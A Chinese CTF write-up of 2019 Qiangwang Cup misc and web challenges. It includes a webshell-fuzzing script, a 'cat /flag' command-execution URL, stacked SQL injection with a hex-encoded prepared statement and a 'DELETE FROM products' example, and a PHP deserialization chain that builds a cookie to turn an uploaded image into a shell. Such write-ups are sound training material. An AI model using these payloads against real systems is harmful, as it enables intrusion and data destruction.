2019強網杯部分misc&web

 

0x01 前言

前兩天菜雞+x和幾個大哥算是正式參加了一次ctf的線上賽,也是第一次參加這種比賽(前一段時間巨佬也給了咱們一個西班牙的比賽,不過不算是正式參賽,作題的時候,比賽已經結束了),沒想到出師不利,菜的一B,除了一個證實你簽了到的簽到題,一道題也沒有弄出來,今天的我也是一個卑微的弟弟啊!比賽結束了,大佬們開始放writeup了,準備有些題目仍是再看一看,復現一下。php

0x02 鯤or鰻orGame

最早開始作的即是這道MISC的題目「鯤or鰻orGame」0101web

 

 

 

 

進入網站後,發現鯤or鰻orGame有3個選項sql

 

 

 

鯤和鰻打開分別有一段mp3就是雞你太美和大碗寬面shell

 

 

 

聽音頻除了其中一首歌前面加了幾秒的鍵盤敲擊聲都沒什麼區別,用Audacity打開查看頻譜也沒有發現問題,WinHex二進制分析也沒有發現什麼特殊的地方,嘗試使用MP3Stego提取文件,也沒有找到密碼,也沒看到什麼提示,就非常難受,就轉向去分析遊戲遊戲如圖,看了就知道怎麼玩服務器

 

 

 

 

 

 

 

 

 

完了幾把,發現難度仍是那麼大,難受.jpg,查看網頁源碼,就是一堆js文件cookie

 

 

 

沒有看出區別後,我仍是以爲mp3會有問題,一直分析了很久,都沒有結果app

比賽結束後放出了wp,看了後才明白怎麼弄,在遊戲頁面加載時還有一個gb文件框架

 

 

 

將文件按目錄所有保存到本地,使用VisualBoyAdvance模擬器能夠打開這個gb文件,達到本地瀏覽效果,然且這個模擬器還有金手指功能async

打開遊戲函數

 

 

後先打開一個搜索,而後完了幾把,經過最高紀錄和本次的分,發現主要是兩個位置

 

 

將最高紀錄分數改到255,使用16進製表示

 

 

再開一把遊戲,無論玩到多少分,都會彈出flag

 

 

0x03 逆向題 強網先鋒 AD

這道題也是當時看了好久,沒有分析出來,看了wp才明白的,附件下載下來,並無尾綴

 

 

直接拖到IDA中F5,查看main函數,從v44到v40將本來的數字轉爲字符

 

 

發現最後有兩個等號,果斷Base64,可是第一個v44時int型的,不能計算,只記錄後面的

ZmxhZ3ttYWZha3VhaWxhaXFpYW5kYW9ifQ== base64 Decode

 

 

0x04 MISC 打野

附件下載下來解壓後,是一個名字爲「瞅啥」的rar壓縮包,解壓後,一張鯤的圖片

 

 

使用zsteg 獲得flag

 

 

0x05 高明的黑客

頁面打開後如圖

 

 

訪問 wensite/www.tar.gz 獲得源碼壓縮包,解壓後3002個命名奇特的文件,並且每一個文件打開都是很奇怪的代碼

 

 

看頁面內容爲高明的黑客,並且php文件裏面也發現了大量GET和POST提交的變量,多是shell的密碼,可是不知道究竟是哪一個php文件的哪一個參數,寫腳本fuzz

import os
import requests
from multiprocessing import Pool

path = "/src/"#下載下來源碼文件路徑
files = os.listdir(path)
url = "http://localhost/src/"#網站地址


def extract(f):
  gets = []
  with open(path+f, 'r') as f:
      lines = f.readlines()
      lines = [i.strip() for i in lines]
      for line in lines:
          if line.find("$_GET['") > 0:
              start_pos = line.find("$_GET['") + len("$_GET['")
              end_pos = line.find("'", start_pos)
              gets.append(line[start_pos:end_pos])
  return gets


def exp(start, end):
  for i in range(start, end):
      filename = files[i]
      gets = extract(filename)
      print "try: %s" % filename
      for get in gets:
          new_url = "%s%s?%s=%s" % (url, filename, get, 'echo "got it"')
          r = requests.get(new_url)
          if 'got it' in r.content:
              print new_url
              break


def main():
  pool = Pool(processes=15)
  for i in range(0, len(files), len(files)/15):
      pool.apply_async(exp, (i, +len(files)/15,))
  pool.close()
  pool.join()


if __name__ == "__main__":
  main()

跑出來是xk0SzyKwfzw.php 這個文件,GET提交參數Efa5BVG

直接cat獲取到flagwebsite/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag

 

 

0x06 隨便注

這道題主要考察堆疊注入

在SQL中,分號(;)是用來表示一條sql語句的結束。試想一下咱們在 ; 結束一個sql語句後繼續構造下一條語句,會不會一塊兒執行?所以這個想法也就造就了堆疊注入。而union injection(聯合注入)也是將兩條語句合併在一塊兒,二者之間有什麼區別麼?區別就在於union 或者union all執行的語句類型是有限的,能夠用來執行查詢語句,而堆疊注入能夠執行的是任意的語句。例如如下這個例子。用戶輸入:1; DELETE FROM products服務器端生成的sql語句爲:(因未對輸入的參數進行過濾)Select * from products where productid=1;DELETE FROM products當執行查詢後,第一條顯示查詢信息,第二條則將整個表進行刪除。

 

 

隨便測試一下,提交1‘ union select 1,2,3,返回

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

存在過濾,基本關鍵詞都被過濾了,使用堆疊注入

提交 1';show tables; # 顯示

array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}

array(1) {
[0]=>
string(16) "1919810931114514"
}

array(1) {
[0]=>
string(5) "words"
}

提交1';show columns from '1919810931114514';# 返回1919810931114514中的字段名

 

 

直接用存儲過程+16進制進行繞過,,並返回結果

1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

 

 

0x07 Upload

20191101添加

頁面打開後,能夠登錄,和註冊,註冊一個帳號後,發現是一個上傳界面

 

 

可是隻能上傳圖片,且不會給出上傳的位置,應該須要就是上傳木馬,可是通過嘗試只能上傳圖片馬,不能直接利用,使用dirsearch路徑掃描,發現源碼泄露,直接訪問www.tar.gz就能夠獲得源碼,接下來進行代碼審計

 

 

 

是個tp5的框架系統,首先查看路由信息,主要關注index和upload_img

 

 

 

先看index.php,在login_check方法中,系統從cookie中獲取到字符串,而後反序列化

 

 

在Profile中,在 upload_img 方法中有上傳文件複製操做,而這個操做中的 $this->ext、$this->filename_tmp、$this->filename 都可經過反序列化控制。若是咱們能調用 upload_img 這一方法,在知道圖片路徑的狀況下,就能夠任意重命名圖片文件,就能夠實現圖片馬了。

 

 

在後面,還存在兩個魔術方法

 

 

繼續看Register.php,在tp5/application/web/controller/Register.php 文件中存在 __destruct 方法,其 $this->registed、$this->checker 在反序列化時也是可控的。若是咱們將 $this->checker 賦值爲 Register 類,而 Register 類沒有 index 方法,因此調用的時候就會觸發 __call 方法,這樣就造成了一條完整的攻擊鏈。

 

 

最後的攻擊鏈爲:

 Register->__destruct
Profile-> __call
Profile-> __get
Profile-> upload_img()

咱們先上傳一個圖片立刻去,上傳以後能夠F12找到文件路徑,並訪問

 

 

構造以下代碼,並在本地運行,獲得一個cookie,使用這個cookie替換題目站得cookie

<?php
namespace app\web\controller;
class Profile
{
    public $checker=0;
    public $filename_tmp="../public/upload/f4e7685fe689f675c85caeefaedcf40c/3b5cc1c061dce193bb89ea4ee47ace85.png";
    public $filename="../public/upload/f4e7685fe689f675c85caeefaedcf40c/xianyu.php";
    public $upload_menu;
    public $ext=1;
    public $img;
    public $except=array('index'=>'upload_img');
}
class Register
{
    public $checker;
    public $registed=0;
}
$a=new Register();
$a->checker=new Profile();
$a->checker->checker = 0;
// echo serialize($a);
echo base64_encode(serialize($a));
?>

 

 

連上以後,在根目錄能夠讀flag

 

 

 

 

0x08 目前就看了這幾個wp,之後看了其餘的,會盡可能復現一下

 

相關文章
相關標籤/搜索